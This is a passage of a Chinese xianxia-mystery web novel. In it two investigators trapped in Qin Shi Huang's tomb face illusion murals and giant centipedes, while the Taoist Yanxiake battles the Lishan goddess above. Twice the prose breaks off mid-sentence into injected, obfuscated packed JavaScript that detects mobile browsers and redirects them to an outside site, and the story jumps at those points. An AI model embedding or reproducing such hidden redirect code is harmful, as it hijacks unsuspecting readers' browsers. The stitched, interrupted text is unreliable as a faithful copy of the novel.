杜月恒咳了一下,“估计是因为我注意力不在壁画上……话说回来,舒姑娘,你在这幻象中又看到了些什么?” 舒慈若有所思,闭着眼睛不再瞧那壁画,与杜月恒回忆起来:“我跟着送葬的队伍一直走,他们将青铜的棺椁抬入了这地宫之中。地底下路线复杂,走了半天才好不容易看到了一扇大石门,进了那墓室之中。那里面放着各式的陶俑,好像真人一样,仿佛能唱歌跳舞。然后,那些方士们又念了很久咒语后,便都离开了,我想跟着出去……却怎么也动不了,好像要被留在里面……幸好你给我来了一下子……” 她说着又与杜月恒对视,他听得入神,低着眼皮,睫毛映在火光下,在他面颊上投下一片阴影,似乎跟着他的思考微微抖动着。 “……我清醒过来之前,”舒慈迟疑着,自己也觉得不可思议,“在墓室之中最后看到的,是那只巨虫……” 她看到杜月恒眼睛瞪大,睫毛投下的阴影也不见了,惊愕非常。 “巨虫?和牡丹姑娘肚子里爬出来的巨虫一样?它怎么会在秦始皇陵中?难道这壁画又是晁不疑弄的幻术?” “那晁不疑为何要在此处设幻术?”舒慈摇摇头,“你还记不记得骊山娘娘说过,这地底下似乎有活物?” 杜月恒惊骇:“你怀疑那活物是巨虫?可你刚才看到的幻象不是一千年前吗?难道那虫子能活一千年?” 舒慈道:“或许巨虫又生巨虫?我不知道……但我直觉秦始皇陵、巨虫和晁不疑脱不了干系。” 杜月恒不说话了,二人又陷入了沉默。 舒慈心中盘算道,现下又不知烟霞客和骊山娘娘是什么情况,今日算是得罪了这骊山娘娘,要想再进这秦始皇陵调查估计困难重重。她又抬眼,顺着滚下来的斜坡望上去,还有一丝缝隙透过来的微光,想是烟霞客应该还在外面……现下只有两个办法,要么从此处返回裂缝处,等待救援。要么继续顺着这甬道,去墓室碰碰运气,看能否查清那巨虫的情况。 她扭过头,又看向后方黑魆魆的通道,深不见底,好像能吸收所有的光。 她权衡半天,终于拿定主意,与杜月恒道:“杜公子,这秦始皇陵实在诡异古怪,若我二人贸然前往墓室,恐怕险象环生……不如,你先去先前我们跌入此处的断裂处等着,若是烟霞客来寻我们,也能找到人。我呢,就按照在壁画中所见,先前去探查一番,再来与你汇合。” 杜月恒听了却板起脸来,不高兴的样子:“你让我在这里等你,你自己去冒险?” 舒慈嗯了一声。 火光下杜月恒那张英俊的脸一会白一会红的,半晌都没有说话。 舒慈见他耳根通红,试探道:“杜公子,你是不是害怕啊?” 杜月恒这才憋出一句话来:“你嫌我是拖油瓶,对不对?” “……” 这话对又不对,杜月恒还是当朝尚书令家的二公子,要是真在这骊山殒命了,她和大理寺可要吃不了兜着走。 “你还怕真的出了事得罪我爹,对不对?” “……” 舒慈干笑两声:“杜公子,现在不是说这个的时候……” “你果然是这么想的!”杜月恒气得一跳,“舒慈,你这个人好生奇怪!” 杜月恒一肚子的气没地撒,干脆一屁股坐在地上,嘴里不依不饶道:“你自己都说了这地宫里面危机四伏,刚刚才中了幻术,又急着往深处走!要是真有个三长两短怎么办?我的命是命,你的命就不是命吗!要是你真的……那个了……不说我了,敖瑞和三宝怎么办?师父怎么办?” 听了这番话,舒慈惊了,竟傻傻地呆在原地,只吐出一句:“烟霞客是我师父,不是你师父……” 见她油盐不进,杜月恒气得直想蹬腿,面上仍保持端庄:“我和你出生入死这么几回,何时说过一个怕字?我承认,我身上没有功夫,但这颗脑子还算是有点用吧?计谋还是出了那么几条吧!没有功劳也有苦劳吧?” 舒慈觉得脸上火辣辣的,又去拉他:“你有话好好说,别坐在地上,这地宫的地上凉……” 杜月恒甩开她的手,抬起一 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等待的时间仿佛过了百年,实际上只一会,缝隙中就挤进来半只嘴筒子。 它张不开嘴,只能龇牙,激动地呜呜道:“嗷呜!!” “犬兄!我们没死!!”杜月恒仿佛能听懂犬语,几乎快要热泪盈眶,“这下面是秦始皇陵!!” “呜呜呜!!” 犬语舒慈听不懂,只能说:“你叫三宝过来。” 嘴筒子移开,这缝隙刚好能伸进来一只小鸟的头,可惜太窄了,三宝也没办法飞进来。 舒慈先问:“烟霞客呢?” 还是三宝冷静:“你师父跟骊山娘娘打得有来有回,斗得难舍难分,飞来飞去的,就不见了。他只叫我们在此处等着,若你们没死,定会回来这里找我们。若你们死了,也好寻你们的尸体。” “……” 舒慈说:“那一会你告诉他,这下面正好是秦始皇陵,机会难得,我们恐怕得在这地宫里面走一遭。” 三宝惊讶:“那骊山娘娘不是说,秦始皇请了术士施法三天三夜,尽是法术保护着的吗?” 舒慈省去刚刚在用到就遭遇了壁画幻术的故事,避重就轻道:“我刚刚似乎又在地下看见了巨虫和晁不疑召出的镇墓兽,此处一定是破案的关键。” 三宝迟疑。 “现在我们得罪了那骊山娘娘,下次还能进来不知道是什么时候了。”舒慈赶紧补充道,“如果半个时辰后我们没回来,你们就去找烟霞客。” 三宝将头移出去,与敖瑞商量了些什么,又伸进来道:“行,那你们快去快回!千万不要勉强!” 得到了这回答,二人终于感到心里有了一丝底,尽管面前的地宫还是又黑又深,一眼望不到头,但心中却莫名升出了一股勇气,方才的不愉快也烟消云散。 二人相□□点头,又举起火符,朝着深处而去。 31. 第二十一回 鬼打墙 却说秦始皇陵外,烟霞客与骊山娘娘的战斗已经持续了许久,天地之间,红影与青衫交错,二人打得你来我往,分不出胜负。 只见骊山娘娘红袖挥动,一时之间,山体震动,四周飞出无数巨石,如流星一般,向烟霞客砸去。 烟霞客眉头紧锁,脚踏罡步,身形如风,桃木剑一挥,口中念咒,剑飞出数道金光,化作屏障,将巨石流星炸了个粉碎。 他暗道不好。 二十年前,烟霞客与觉慧、觉顺三人一起费劲心力,才将骊山娘娘的半个元神封在这雕像之中。二十年过去,没想到,却只剩他孤身一人,又来到这骊山之中,与骊山娘娘打得有来有回。 如今他竟生出一丝独木难支之感。 无奈,烟霞客只能使出绝技。他咬破指尖,在桃木剑上画下一道复杂的符咒,桃木剑一挥,剑风中飞窜出一条金色巨蛇,直向骊山娘娘扑去。 骊山娘娘冷笑一声:“二十年过去了,还是这一招!” 她仿佛早就琢磨出了应对之策,红影在空中旋转,化出无数分身。红影被金色的巨蛇逐个击散,又重新凝聚,仿佛不死不灭。 然而,骊山娘娘的真身隐在众多红影之后,倏地冲出来,直直冲着烟霞客面门而来。 他急转身来,红影从他耳旁擦过,划出了一串血珠。 她得意地一笑,嘲讽道:“烟霞客,你老了。” “废话!眨眼二十年,是人当然会老!可不像你这骊山老妖!” 听烟霞客叫她“老妖”,她气得发髻倏地散开,青丝飘扬在风中,明艳的脸更县嗔怒疯狂。 “闭嘴!” 她又朝烟霞客扑来。 烟霞客向后一跃,与她拉开距离,手中桃木剑猛然一收,双手合十,口中默念真言:“观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄……” 随着念诵,他的周身逐照射出金色的光芒,光芒似乎凝聚成一朵巨大的莲花虚影。金色莲花缓缓绽放,轻柔地拂在红影之上,叫骊山娘娘靠近不得。 骊山娘娘不能近身,没想到这道士竟会这一招。她眼中闪过一丝忌惮,怒喝道:“烟霞客,你果然低劣下流,竟偷学佛家绝学!” “你这骊山老妖,打不过就骂人!” 烟霞客当年游历大唐,与觉慧、觉顺二人谈佛论道,自然也学了几招佛家招数,使的便是一个出其不意,常叫各路鬼神妖怪猝不及防。 又与骊山娘娘过了十来招,烟霞客却是眉头紧锁,虽说此时他略占上风,但他心中中清楚,骊山娘娘就是骊山本身,妖力源源不断,再如此耗下去,自己未必能撑到最后。 烟霞客虽心中焦急,但面上依旧冷静。他猛然退后数步,桃木剑一挥,架在木雕的颈项上,威胁道:“骊山老妖,住手!你若再敢上前一步,我便毁了这木雕,让你这半个元神永远消散!” “烟霞客,你敢!” 烟霞客冷笑一声:“我为何不敢?二十年前,是我那两位兄弟慈悲心肠,只封了你半个元神!今日你若叫我徒儿死在了你这骊山之中,你自然要拿命来偿!” 二人僵持之中,骊山恢复了一时的平静,正巧此时,一抹碧蓝色朝着烟霞客飞来。 三宝急匆匆地停在他肩膀上,只言简意赅,将舒慈与杜月恒二人掉入秦始皇陵之事相告。 烟霞客心下松了口气,“好好好,我这呆徒儿和杜谌义的倒霉儿子命不该绝!” 他又对骊山娘娘道:“骊山老妖,今日算你走了大运,只要你帮我将呆徒儿捞出来,今日之恩怨我便大人大量,既往不咎!把你这木雕继续留在这骊山里面!” 原是当年佛道三人并不想取骊山娘娘性命,只是将其半个元神封印在此处,叫她再不能自由地离开骊山。 谁知骊山娘娘根本不管他,又摆开架势,双手向大地一拍,一条巨大的裂缝向烟霞客脚下延伸。 烟霞客气得大骂:“骊山老妖,我本念着我那两位兄弟的慈悲,今日没有动你这半个元神分毫,与你好生商量!你却偏偏不领情!” 说罢,他就将手里的木雕向那裂缝里一扔。 “烟霞客!你!!” 骊山娘娘气急败坏,双手又一拍地,那裂缝立刻戛然而止,迅速地合上。 然后,从大地深处弹出了那只木雕。 烟霞客飞身接住,掏出符纸,将木雕放在地上,速速念道:“天地玄黄,宇宙洪荒,日月盈昃,辰宿列张。定此物于方寸,不动如山,不移如岳,急急如律令!” 他将符咒往木雕上一贴,这下,骊山娘娘的半个元神又被缚在了骊山的大地上。 烟霞客道:“我说话算话,还和以前一样,这地缚咒你揭不下来,你这半个元神仍在骊山之中。” 骊山娘娘咬牙切齿,知道今日杀烟霞客不成,再打下去必是两败俱伤。 “找到你那两个徒儿就给我赶紧滚!” *** 这边厢,骊山地下黑暗的甬道中,两团微弱的火光摇曳行进,照亮四壁,映在舒慈与杜月恒脸上。 二人谁也不说话,俱是面无表情。并肩向前走着。打眼一望好像两只迟钝麻木的陶俑,在这巨大的地宫中站岗巡逻。 这里很黑很静,只能听到火符烧得噼里啪啦和二人的心跳声。 与在幻境中所见不同,这条甬道又直又长,并没有分叉路口。 这路越是笔直,就越显得诡异,越是深不可测,像通向未知的深渊。 奇怪的是,舒慈竟不觉得有异,仿佛这里就该是如此,笃定地继续向前行进。 地底的空气越来越浑浊沉重,又湿又冷,是陈腐的泥土的腥味,混着从千年前的青铜里渗出来的铁锈味道。 舒慈只觉得脑袋也跟着迟缓起来,好像回到了刚才的壁画之中—— 她被这个想法吓了一跳,清醒过来,立刻火符一转,去查看杜月恒。 只见他同样双眼呆滞,拖着两条腿,行尸走肉般跟在她身边。 舒慈一把抓住他的手,摇摇了他:“杜月恒,杜月恒?” 杜月恒如梦初醒,眼前似迷雾散去:“舒姑娘,我们这是走了多久了?” 舒慈摇摇头,这地宫之中的时间好像凝固住了,她丝毫没有察觉到时光流逝。 只见杜月恒还没正常一会,脸又僵住了,仿佛被她身后的什么东西吸走了目光,眼睛瞪大,又呆滞又恐惧。 他抬起一根手指,指了指舒慈的背后。 舒慈回头一看。 只是这一看,便叫她脑袋“嗡”的一声,周身如坠冰窟,好像一只无形的手拽了一下她的心脏。 她身后的壁画上,仍是绘着那支庄严的送葬队伍,领头的方士托着一只精巧的香炉。他身后的人们皆着黑衫,臣子们悲痛不已,士兵护送着马车,拉着一只巨大的青铜棺材。众人肃穆地缓缓向前。 舒慈咽了咽唾沫,想都不想,抬手就扇了自己一耳光。 “舒姑娘,你这是干什么!” 杜月恒惊叫。 脸上的痛感真实,还好,现在不是幻境。 舒慈稳住心神,将手上的火符给杜月恒拿着,接着飞快地抬手,给了他一耳光。 “哎哟!” 这一下力道极大,扇得杜月恒弯腰,他捂着脸,迷惑又愤愤道:“舒慈!你干什么!” 不等杜月恒回过神来,舒慈双手将他的脸捧起来,将他的脸颊挤成一团,力道很大。 舒慈扳过他的脸,强迫他看着自己。 她一双凤眼映在火光中,虽然左眼像蒙着一层薄纱,但眼神永远是神采飞扬。那双眼睛不笑的时候凌厉,笑起来的时候像新月。此时正专注认真地看着他。 舒慈冰凉的手贴在他脸上发烫的地方,杜月恒的脸本来只有一边是红的,现在整个都像快要烧起来。 “哎,你……” “杜月恒,你听我说,”舒慈开口,“我们一直在原地打转,我得确保我们没有中幻术。” “那你也可以轻点嘛……”杜月恒嘟囔一句。 舒慈飞速瞟了一眼壁画,又将眼神移回来,语气肯定:“我们遇上了鬼打墙。 “我听师父说过,这鬼打墙是一种阵法。这壁画虽然看上去与我跌入的幻境的那副一样,但其中的细节与我之前所见有不同……我怀疑,这壁画正是阵法本身。” “你是说,这壁画上施了双重法术?” 杜月恒思索着,像是突然有不好的预感,甩头想挣脱开来。 舒慈没有放开他,仍是直视他的双眼道:“我必须再进去一次……搞清楚这壁画到底是怎么回事!” “不行!” “我们现在根本不知道身处地下何处,想找到回去的路与三宝汇合就必须破了这鬼打墙!否则,我们恐怕会被困在这甬道中一辈子……” 舒慈坚定:“你留在外面。记住,千万千万不能去看壁画,随时注意我的情形,一旦有了异常,就像刚刚一样给我来一下子。” 杜月恒想起方才舒慈痴痴傻傻的样子,心有余悸,问道:“如果你永远地留在了这壁画之中,会是什么样子?” 舒慈惨淡一笑:“我不知道,或许会像高湛一样,疯疯癫癫,失了神智……若是那样,就只能拜托你想办法把我抬出这地宫了……若是那时,不知道师父能不能救我?” “不。” 他又觉得这否定很突兀似的,轻轻加上了一句:“我不会让你留在壁画里面的。” *** 舒慈深吸一口气,再次入神地盯着那副壁画,果然,墙上的线条又蠕动了起来,眼前的画面旋转,她的身体失去了重量。 当画面再清晰,她已经轻飘飘地落在了一千年前的土地上。 有了上次的经验,舒慈熟练地混入了送葬的队伍中。 开头还是一样,她看见这庞大的送葬队伍,最开头是方士带领,中间是恸哭的臣子,士兵行进在两侧,保护那巨大的青铜棺椁。 她眯起眼睛来仔细寻找,终于在队伍的开头找到了那个人—— 那方士身穿白袍,蓄着络腮胡,手持香炉,目光平静,既没有臣子的悲痛,又不像其他方士的神情木然。 舒慈可以肯定,在她的记忆里,上一次在队伍最前端的也是这方士,但那时他拿的是法器,抛洒的是符纸——绝不是香炉。 她在人群中穿梭,跑得很着急,甚至撞到了几个人身上,很快便跟上了那最前面的方士。 没有人注意她,好像她根本不存在似的。 不知行进了多久,队伍停在了墓道口,门口仍坐着那两只奇异的镇墓兽。同样的,十几个壮汉抬起青铜棺椁,方士们也跟着走进了地宫之中。 舒慈紧跟着他们,这一次的墓道似乎和现实中的一样了,没有分叉,笔直地向前。 但方士们和上一次不一样了,他们不再散作一团各念各的,而是默契地排成一列,整齐地念诵着经文。 舒慈仔细听,他们反复念诵着:九龙长生,九龙长生,九龙长生…… 她一开始头皮发麻,不知为何又出现这四个字,可一旦想得入神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见眼角白影一闪,舒慈想也不想立刻追了上去,她跑得气喘吁吁,这里虽是存放陪葬品的地方,却是宽敞无比,似乎比整个唐皇宫还大。 他们越过一排又一排士兵,终于在方阵的最后排停下了。 那里停着几辆战车,那方士正好整以暇地坐在战车上,托着香炉,似乎在等着舒慈追过来。 “你是谁?” 见她过来了,那方士突然开口。 他明明看上去只是中年人,声音却苍老得可怕,好像真的从一千年前传来的,腐朽的,古老的,从恐惧中挤出来的声音。 一种最深、最诡异、最不可名状的恐惧抓住了舒慈的心脏,又蔓延到她的指尖——他怎么可能看见她! 这幻境里的人不是都当她不存在吗?他又是何时发现她的?他是故意引她来这里的吗……一连串的疑问几乎让舒慈的神经爆炸,她想转身就逃,却怎么也不能动作。 “你也是来寻九龙长生的吗?”那方士又问。 九龙长生?舒慈不懂这是什么意思,只能硬着头皮摇了摇头。 方士笑了笑,一手将香炉盖子掀开,轻轻一抖,掉出来一只拇指那么大,椭圆形的,软绵绵的,似乎有生命一样,轻轻蠕动着的东西。 那东西比舒慈见过的任何的黑都要黑,比长安城的夜空、外面漆黑的甬道、杜月恒的瞳孔还要黑…… “看你心诚,追我到了这里,今日就让你见识一下,什么叫作九龙长生。” 说着,他笑着用两根手指将那东西捻起来,扬起头来。 他一口将那东西吞掉了。 ——“舒慈!醒醒啊!” 只见方士从头道脚地裂开了。 他的脸、手臂、眼珠,一切露在外面的器官都在急速地萎缩,一张皮好像被吸进了身上那条裂口里—— 舒慈顾不上心脏会不会跳出来了,她要喊,这是世间最可怕的东西,但却出不了声。她要逃,逃离最恐怖的深渊,但她动弹不得。 ——“舒慈!!!” 那裂口好像浮在黑暗的半空中,过了一会,又或许是过了几百几千年,那裂口里终于爬出来一条虫。 巨虫。 这巨虫比舒慈见过的那只大多了,它有千足万足,,似蜈蚣、蚰蜒,却比蜈蚣大出几万倍,几乎有舒慈整个人那么高。 又是这巨虫。 舒慈无言地勾了勾嘴角,原来人在最绝望的时候会想笑—— 这一切一定都是幻术!她想明白了,不是什么鬼打墙,这是一层又一层的幻术,是秦始皇、方士还有晁不疑合起伙来编织的幻术!不然为何这巨虫如鬼魅一般跟着她、缠着她、粘着她! 那巨虫好像看懂了她的心思,在地上蜿蜒着爬行过来,用后足和身子立了起来—— “看明白了吗?”它说,那声音不再苍老,变得尖细的,嗡嗡的。 但声音不是虫子发出来的。 它的胸前长了一张人脸。 是那方士的脸在巨虫胸口,他静静地看着舒慈,开口道:“这便是九龙长生。” ——“舒慈,这一下我不客气了!” 到底什么是真实,什么是虚幻? 舒慈呆呆地望着那张脸,大唐长安是虚幻的吗,只有这最深最冷的地下才是真实的。 不过,杜月恒一定是假的,不然为什么还没有来救她呢? 原来她不是回到了壁画之中,或许她根本没有离开这壁画。 她想明白了,她真的要成为这壁画的一部分了。 32. 第二十一回 鬼打墙(下) 却说舒慈再入幻境后,杜月恒按约定好的,屏息凝神地在一旁守着她。 跳跃的火光下,显得舒慈的脸庞越发苍白。杜月恒不敢多看壁画一眼,直勾勾地观察着她的双眼,只见她瞳孔微微放大,空洞无神。 这活儿说来容易,但又有讲究,他不知道舒慈进了这壁画之中是何情况,他应该什么时候叫醒舒慈?若早了,怕她还没有找到破解之法。若晚了…… 思及此,杜月恒更是一刻不敢怠慢,更不敢分神。 他们就这样无声地立在这地底的黑暗里。 这里静得可怕,舒慈始终保持着呆滞的样子,杜月恒不知不觉间也入了神。 时间好像凝固了,但又流逝得飞快,不知什么时候,舒慈的眼底浮现出了一个图案。 杜月恒一惊,好奇心叫他不得不凑近了——那图案竟是一道符篆! 那符篆极复杂,由汉字交织组合而成。舒慈眨了眨眼皮,符篆竟在她眼底扭动了起来,然后一条条线解离开来,又缠绕在一起,旋转成了两团漩涡。 杜月恒越是看得专心,越是看得用力,越是要被卷入其中…… 他吓出了一身冷汗,甩了甩头,让自己清醒过来,喘着粗气,又鼓起勇气再看了一次她的双眼。 那瞳孔又恢复了正常,只是舒慈的眼神似乎更空洞了一点。 他不会也莫名其妙中了幻术吧?! 杜月恒干脆地抬左手给了自己一耳光,强迫自己打起精神来。可还没等他缓过来,背后突然传来一个声音—— 嘎吱—— 那声音仿佛一声叹息,回响在这死一般的寂静里。 他迟缓地转过头,在他背后的甬道的墙上,不知什么时候多了一扇石门。 那扇石门已经自己打开来了,门里面透出来光。 那光和他手里暖红的火焰不同,是微弱的白光,泛着柔和的青色,在黑暗之中如同杯水车薪,尽数被吸入了无尽的黑暗里。 他要叫醒舒慈吗?杜月恒努力地保持理智,费力地思考着,这门是阵法的一部分吗? 不等他想明白,又是一声叹息。 嘎吱—— 这次是另一边。 对着的那一面也出现了一扇石门,同样自己徐徐打开,透出青白色的光。 这是怎么回事? 杜月恒此刻只能感到极致的冷,冷得他浑身发抖,冷得不能思考。他只能颤颤巍巍地又抬右手给自己了一耳光,妄图保持住脑海中最后一点理智。 此地不宜久留,管不了破不破这鬼打墙了! 他伸手拍了拍舒慈的脸:“舒慈?舒慈!” 她没有反应。 没办法,他立刻扬起手,准备给舒慈重重的一击。 簌簌簌…… 他的手僵在半空。 那声音是从右边的那扇门里面传出来的,像是很轻很密的脚步声,仿佛成千上万的足在地上交替,由远及近,向他们而来的。 “舒慈!!” 来不及了,他一咬牙甩出了这个巴掌,发出很响的“啪”的一声,但似乎没用,舒慈只是脸被打得歪了一歪,没有恢复神智,像一只没有表情的陶俑。 仿佛被巴掌的声音吸引,那脚步声音更急了,它越来越快,越来越近,到了石门门口。 终于,杜月恒看清楚了—— 是一只巨虫。 它密密麻麻的足挥动着,飞快地从左侧的房间里扭曲着爬行出来,用后半身立了起来,几乎快要触到天花板。 这巨虫竟然有这么大吗? 杜月恒的意识仿佛有意不让他去直视它。在最恐惧的时候,他居然注意的是这些细枝末节。他茫然地望着它,这东西还有钳子吗?怎么从前没注意? 然后,它就举着钳子朝他扑了过来。 无处可躲。 杜月恒尖叫一声,想也不想扛起舒慈就跑。 他一转身,蹿进了另一侧的石门中,又拿出舍身之势,玩命地用身体一撞。 石门“砰”的一声关上了。 世界恢复了短暂的死寂。 不一会,“簌簌簌”的声音贴着石门响了起来。 它没有走,只是盘踞在石门上。 危险算是解除了,杜月恒不敢放松,又去找舒慈——刚刚撞门的时候,她被他甩了出去。 只见舒慈在地上滚了几圈,痛得哼了起来。 “哎哟……” “太好了!” 杜月恒高兴极了,在这诡异的地底能听见另一个人类的声音,好像点了一盏暖炉,刚刚的恐惧、紧张、绝望仿佛被热水散,让他冰冷僵硬的身体回了温。 “舒慈!你终于醒了!!” 舒慈浑身都痛,意识还没清醒过来:“我们……在哪?发生了什么?” “不好意思啊,舒姑娘,刚刚情况紧急,不小心将你甩了出去……” 舒慈摆摆手,艰难地爬起来,她这才看清,他们已经来到一间极大的房间内,大得几乎能听到二人的回声。 仿佛时光倒转,幻境重演。 幸好她浑身上下的钝痛提醒她,这里是真实的世界,这才缓过一口气来。 杜月恒见她面色惨白,以为是在地上摔得疼了,赶紧过来帮她揉额头。 舒慈头一歪躲得快,自己抬手揉了揉头:“刚刚到底发生什么了?这是哪里?” 杜月恒尴尬地收回手来,顺势假装挠了挠头:“方才你双眼现出两道符篆,随后甬道两侧突然莫名其妙地开了两扇石门……” “你是说甬道两侧突然多了两扇石门?” “对。” 舒慈沉吟,难道是因为她方才跟着方士进了耳室,因而启动了这两扇石门?这现实中的甬道两侧难不成有两间对称的耳室? 她思索中环顾四周,这才发现四周的墙壁上安放着长明灯,不知用的什么油脂,千年过去,仍在燃烧。 “人鱼膏……”杜月恒随着她的目光,不可置信道,“没想到是真的……” 《史记》载,秦始皇陵中以人鱼膏为烛,度不灭者久之。 和幻境中的耳室不同,这里面没有士兵陶俑,而是堆放着各种青铜器具。 地上摆放着无数只巨大的青铜鼎,刻着繁复的铭文,应是诉说秦始皇功绩。玉圭、玉璧几乎半个人高,已过千年,仍反射出温润的光泽,雕刻着龙纹。钫、壶、盘、甑,这些器物整齐排列堆放着,渗出斑驳碧绿的铜绿,纹饰仍旧清晰可见。 舒慈明白了,这房间与幻境中所见的房间应当俱为秦始皇陵存放陪葬品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14931825|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之处。 “那我们又为何进了这房间?” 杜月恒已经被这浩如烟海的明器震撼,正愣着,这才回过神来:“方才从另一侧的房间里,又突然钻出来一只巨虫……” 舒慈呼吸一滞。 “那虫子爬得飞快,居然朝我们扑过来了!——舒姑娘,你之前注意过吗,那虫子居然有钳子!没办法,我只好先带着你躲进了这间房内。” 巨虫有没有钳子她没注意,她只问道:“那虫子第二节关节处,有没有一张人脸?” “人脸?” 光是听到这个问题,杜月恒已经浑身爬满鸡皮疙瘩。 舒慈解释道:“第一次进入幻境时,我记得领头的方士是拿着法器,抛洒符咒的。刚刚我再入其中,那方士换成了手执香炉。我想其中有异,一进入壁画便紧紧跟着他,没想到他竟然没有去墓室,而是去了一间耳室。” 杜月恒错愕:“就是这一间吗?” “不,那幻境里的房间里堆放的尽是士兵陶俑。”舒慈摇摇头,“然后……他从香炉里拿出一个黑色的东西,吞了下去。” 她的声音颤抖了起来,“接着,他就裂开来……变成了巨虫。” “那巨虫的第二节关节处,就是他的脸。” 舒慈讲完,只听见自己心跳如擂鼓,仿佛又经历了一遍,后怕胆寒。 杜月恒哑口无言,呆愣道:“你是怀疑,刚刚攻击我们的虫子,就是那方士?” “我不知道……” 舒慈现下脑中一团乱麻:“我猜,你刚刚说我双眼出现符篆的时候,正是我跟着方士进了耳室之时……我们在这甬道里徘徊了这么久,从来没发现过有这两间耳室,或许进入这壁画便是开启房间的方法…… “我明白了,这壁画上应该有双重的法术。” 舒慈恍然大悟。 “双重法术?” 舒慈皱着眉,解释道:“我推测,第一次我进入幻境时,是秦始皇的方士们所施展的法术,目的是保护墓室,让想进入墓室的人留在壁画之中。而第二重的法术,就是将两边的耳室隐藏起来,只有第一重法术解开,再入壁画,才能开启石门……” 杜月恒顺着她的思路道:“可是,为什么要将两侧的耳室藏起来?难道是为了把那边的巨虫藏起来?” 说完,杜月恒屏住呼吸,这推测叫他的胆边又生出了刺骨的寒意。 一时之间,这耳室内恢复了和门外一样的,死一般的寂静,显得他们刚刚的交谈声如此突兀,他们的心跳声、呼吸声也是如此的不合时宜。 ——如果第二重法术是为了藏起来另一个房间的巨虫,那这一个房间里会有什么呢? 舒慈强作镇定地望向了房间正中,那里矗立着一只巨大的三足青铜圆鼎,三足像是象腿一般,支撑起整个鼎的厚重。 她生出一种直觉,走了过去。 那鼎几乎到了她的头顶,她只能用手扶着鼎的边缘,踮起脚尖向里一看—— 在昏暗的光线下,那鼎的内壁上沾满了黑色的,椭圆的,软绵绵的,虫卵一般的东西。它们密密麻麻地挤在一起,有生命一般的,蠕动着。 舒慈双眼一花,几乎快跌倒在地,又听到杜月恒大喊道: “舒慈!柳容烟在这!!”